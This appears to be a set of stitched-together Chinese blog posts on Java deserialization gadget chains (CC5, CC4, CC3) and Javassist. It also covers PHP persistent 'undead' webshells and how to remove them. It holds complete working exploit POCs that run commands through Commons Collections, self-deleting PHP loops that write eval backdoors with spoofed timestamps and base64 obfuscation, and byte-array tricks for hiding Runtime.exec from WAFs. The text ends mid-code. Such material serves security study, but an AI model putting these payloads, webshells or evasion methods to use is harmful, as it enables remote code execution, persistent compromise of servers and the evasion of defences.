0%

前言

分析过CC1就很容易看懂CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前置知识

CC5中涉及到两个新的类,这里先介绍一下

TiedMapEntry

图片

图片

该类有两个参数,一个Map类型,一个Object类型;

后面我们会使用到它的getValuetoString方法

BadAttributeValueExpException

图片

图片

该类只有一个val参数

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;
图片

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法

图片

继续找哪里调用了toString()方法;

BadAttributeValueExpException.readObject()调用了toString()方法

图片

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;

所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;

即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件

下面解释一些细节的问题:

  • 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
    以下为BadAttributeValueExpException的构造方法
1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

可以发现,如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
图片

内存马原理:

php内存马即不死马。简单来说就是写进php进程里,不断在指定目录生成木马文件

生成过程

不死马.php → 上传到服务器 → 服务器执行文件 → 服务器本地循环不断生成一句话木马

不死马

初代

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2021-8-11 12:45:00" . 2.php');
    usleep(5000);

?>
  1. ignore_user_abort(true);函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  2. set_time_limit()函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
  3. unlink(FILE)删除文件本身,以起到隐蔽自身的作用。
  4. while循环内每隔usleep(5000)即写新的后门文件
  5. system()执行的命令用于修改文件的创建或修改时间,touch新建一个不存在的文件,-m仅修改时间,-d使用想要修改的时间而不是当时的时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
  6. md5算是混淆,也是防止直接被别人利用
    这里while 里面只是并没有判断了这个文件是不是存在,那么我只需要把这个文件中的 shell 注释掉就可以绕过这个内存木马了。

修改后

1
2
3
4
5
6
7
8
9
10
11
12
<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'c.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

对加密的一句话木马进行解密,可防止通过命令搜索,while中md5加密后直接执行一句话木马的编写

查杀方法

1.重启服务

众所周知,重启能解决90%的问题,内存马也是存在于进程之中,所以条件允许的话直接重启服务便是了

2.占用目录名

删除并重新创建一个和不死马要生成的马名字一样的路径及文件

3.kill

ps aux 列出所有进程,找到要杀掉的进程运用命令

kill -9 -1 进程名  9:杀死一个进程 1:重新加载进程

4.竞争删除一句话木马

编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

1
2
3
4
5
6
7
8
9
10
<?php
ignore_user_abort(true);
set_time_limit(0);
while (1) {
    $pid = 不死马的进程PID;
    @unlink(".1.php");
    exec("kill -9 $pid");
    usleep(1000);
    }
?>

前言

CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;

CC4和CC2一样是通过调用TransformingComparator.compare()来实现transform()的调用;

和CC3一样是通过实例化TrAXFilter类,然后调用它的构造方法,进而实现newTransformer()的调用

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;

最后把该类转换为字节码存到targetByteCodes数组中;

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

代码2
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

代码3
TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

图片

图片

代码4

实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,因为在PriorityQueue.heapify()中,size的值需要大于1才能进入下一步;(CC2中有说到)

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

图片

代码7

通过反射给queue的comparator参数赋值,从而调用到compare()方法,实现transform()的调用;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

POC调试

还是从PriorityQueue.readObject()开始;

queue[]里面是我们传入的TemplatesImpl类的实例化对象和整数1

图片

跟进heapify(),size值为2;

图片

跟进siftDown,comparator参数不为null

图片

跟进siftDownUsingComparator,调用了compare()

图片

跟进compare()obj1就是传入的templates,this.transformerChainedTransformer的实例化对象,也就是调用了ChainedTransformer.transform()

图片

跟进ChainedTransformer.transform(),进入循坏;

第一轮iTransformer参数值为ConstantTransformer,即调用了ConstantTransformer.transform()

图片

跟进ConstantTransformer.transform()iConstant参数值为传入的TrAXFilter.class,即返回了TrAXFilter

图片

回到ConstantTransformer.transform()进入第二轮循环,这次的iTransformer参数值为InstantiateTransformer,object参数值为TrAXFilter

图片

跟进InstantiateTransformer.transform(),返回TrAXFilter类对象

图片

在实例化TrAXFilter类时,调用了它的构造方法,其中调用了templates.newTransformer()

图片

前言

仔细分析过CC1和CC2来看CC3就会好容易理解一点

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

前置知识

cc2里我们需要通过TemplatesImpl#newTransformer来实现命令执行,在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer

CC3中会用到两个新的类,这里先介绍一下:

TrAXFilter

图片

图片

在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;

CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法

InstantiateTransformer

该类实现了TransformerSerializable接口

图片

在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package blckder02;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;

代码2

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
代码3

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

这里有一些不一样,将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调

代码4

1
2
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

new了一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码3的条件;
图片

接着就是要找一个调用get()的地方,

代码5

1
2
3
4
5
6
7
8
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

这里看过p神的文章应该挺熟悉的

  • 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
    AnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法;

而在readObject方法中调用了entrySet()方法,所以触发invoke

图片

在invoke方法中就调用了get方法

图片

这样就基本上达到了执行命令所需要的条件

POC调试

this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;

图片

跟进get方法,factory参数为ChainedTransformer的实例化对象,这里调用了它的transform方法

图片

跟进到ChainedTransformer.transform(),对transformers[]数组进行循环

图片

跟进它的transform方法,input参数值为TrAXFilteriParamTypes参数值为TemplatesiArgs参数值为TemplatesImpl的实例化对象templates,return了TrAXFilter类对象

图片

getConstructor(iParamTypes)获取它参数为Templates类的构造方法时,调用了TransformerImpl的newTransformer()

图片

跟进newTransformer(),调用了getTransletInstance()方法

图片

跟进,_name参数值为我们传入的blckder02,进入第二个if,_class参数值为null,_bytecodes参数值为用javassit创建的类的字节码;

最后实例化_class[_transletIndex]

图片

执行static中的代码

0x00 前言#

了解一下Javassist具体的作用。在CC2链会用到Javassist以及PriorityQueue来构造利用链

0x01 Javassist 介绍#

Java 字节码以二进制的形式存储在 class 文件中,每一个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。

Javassist是一个开源的分析、编辑和创建Java字节码的类库。

0x02 Javassist 使用#

这里主要讲一下主要的几个类:

ClassPool#

ClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象(HashtableHashmap类似都是实现map接口,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ClassPool	getDefault()
返回默认的类池。
ClassPath insertClassPath(java.lang.String pathname)
在搜索路径的开头插入目录或jar(或zip)文件。
ClassPath insertClassPath(ClassPath cp)
ClassPath在搜索路径的开头插入一个对象。
java.lang.ClassLoader getClassLoader()
获取类加载器toClass(),getAnnotations()在 CtClass等
CtClass get(java.lang.String classname)
从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。
ClassPath appendClassPath(ClassPath cp)
将ClassPath对象附加到搜索路径的末尾。
CtClass makeClass(java.lang.String classname)
创建一个新的public类

CtClass#

CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
void	setSuperclass(CtClass clazz)
更改超类,除非此对象表示接口。
java.lang.Class<?> toClass(java.lang.invoke.MethodHandles.Lookup lookup)
将此类转换为java.lang.Class对象。
byte[] toBytecode()
将该类转换为类文件。
void writeFile()
将由此CtClass 对象表示的类文件写入当前目录。
void writeFile(java.lang.String directoryName)
将由此CtClass 对象表示的类文件写入本地磁盘。
CtConstructor makeClassInitializer()
制作一个空的类初始化程序(静态构造函数)。

CtMethod#

CtMethod:表示类中的方法。

CtConstructor#

CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

常用方法#

1
2
3
4
5
6
void	setBody(java.lang.String src)	
设置构造函数主体。
void setBody(CtConstructor src, ClassMap map)
从另一个构造函数复制一个构造函数主体。
CtMethod toMethod(java.lang.String name, CtClass declaring)
复制此构造函数并将其转换为方法。

ClassClassPath#

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径。

构造方法:

1
2
ClassClassPath(java.lang.Class<?> c)	
创建一个搜索路径。

常见方法:#

1
2
3
4
java.net.URL	find (java.lang.String classname)	
获取指定类文件的URL。
java.io.InputStream openClassfile(java.lang.String classname)
通过获取类文getResourceAsStream()。

代码实例:#

1
ClassPool pool = ClassPool.getDefault();

在默认系统搜索路径获取ClassPool对象。
如果需要修改类搜索的路径需要使用insertClassPath方法进行修改。

1
pool.insertClassPath(new ClassClassPath(this.getClass()));

将本类所在的路径插入到搜索路径中

toBytecode#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.demo;

import javassist.*;



import java.io.IOException;
import java.util.Arrays;

public class testssit {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
CtClass ctClass = pool.get("com.demo.test");
ctClass.setSuperclass(pool.get("com.demo.test"));
// System.out.println(ctClass);
byte[] bytes = ctClass.toBytecode();
String s = Arrays.toString(bytes);
System.out.println(s);
}

}

toClass#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Hello类:
public class Hello {
public void say() {
System.out.println("Hello");
}
}
Test 类
public class Test {
public static void main(String[] args) throws Exception {
ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。
CtClass cc = cp.get("com.demo.Hello"); //获取hello类的
CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法
m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的开头插入字节码
Class c = cc.toClass();//将此类转换为java.lang.Class对象
Hello h = (Hello)c.newInstance(); //反射创建对象并进行强转
h.say();调用方法say
}
}

0x03 一些小想法#

按照以上的操作理解就是去将类和字节码进行互相转换,对应这个操作我首先想到的可能就是webshell的一些免杀,例如说Jsp的最常见的一些webshell,都是采用RuntimeProcessBuilder这两个类去进行构造,执行命令。按照WAF的惯性这些设备肯定是把这些常见的执行命令函数给拉入黑名单里面去。那么如果说可以转换成字节码的话呢?字节码肯定是不会被杀的。如果说这时候将Runtime这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist来将字节码还原成类的话,如果转换的几个方法没被杀的话,是可以实现过WAF的。当然这些也只是我的一些臆想,因为Javassist并不是JDK中自带的,实现的话后面可以再研究一下。但是类加载器肯定是可以去加载字节码,然后实现执行命令的。这里只是抛砖引玉,更多的就不细说了。

0x04 想法实现#

动态传入参数那能想到的肯定是反射。如果我们用上面的思路,把全部代码都转换成字节码的话,其实就没有多大意义了。因为全是固定死的东西,他也只会执行并且得到同一个执行结果。

这里能想到的就是将部分在代码里面固定死的代码给转换成字节码,然后再使用反射的方式去调用。

1
2
3
4
5
6
7
8
9
10
11
public class test {
public static void main(String[] args) {
String string ="java.lang.Runtime";
byte[] bytes1 = string.getBytes();
System.out.println(Arrays.toString(bytes1));




}
}

获取结果:

1
[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

接着将字节码还原成string
使用bytes去构造一个新的String

代码:

1
2
3
4
5
6
7
public class test {
public static void main(String[] args) {
byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String s = new String(bytes);
System.out.println(s);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";



        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //获取输出的数据
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
        System.out.println(ipconfig);
    }
}

命令执行成功。
那么这就是一段完整的代码,但是还有些地方处理得不是很好,比如:

1
Method exec = aClass.getMethod("exec", String.class);

这里是反射获取exec方法,这里的exec是固定的。exec这个对于一些设备来说也是严杀的。
那么在这里就可以来处理一下,也转换成字节码。

转换后的字节码:

1
[101, 120, 101, 99]

改进一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
String command = "ipconfig";
byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String run = new String(b1);
byte[] b2 = new byte[]{101, 120, 101, 99};
String cm = new String(b2);




Class aClass = Class.forName(run);
Constructor declaredConstructor = aClass.getDeclaredConstructor();
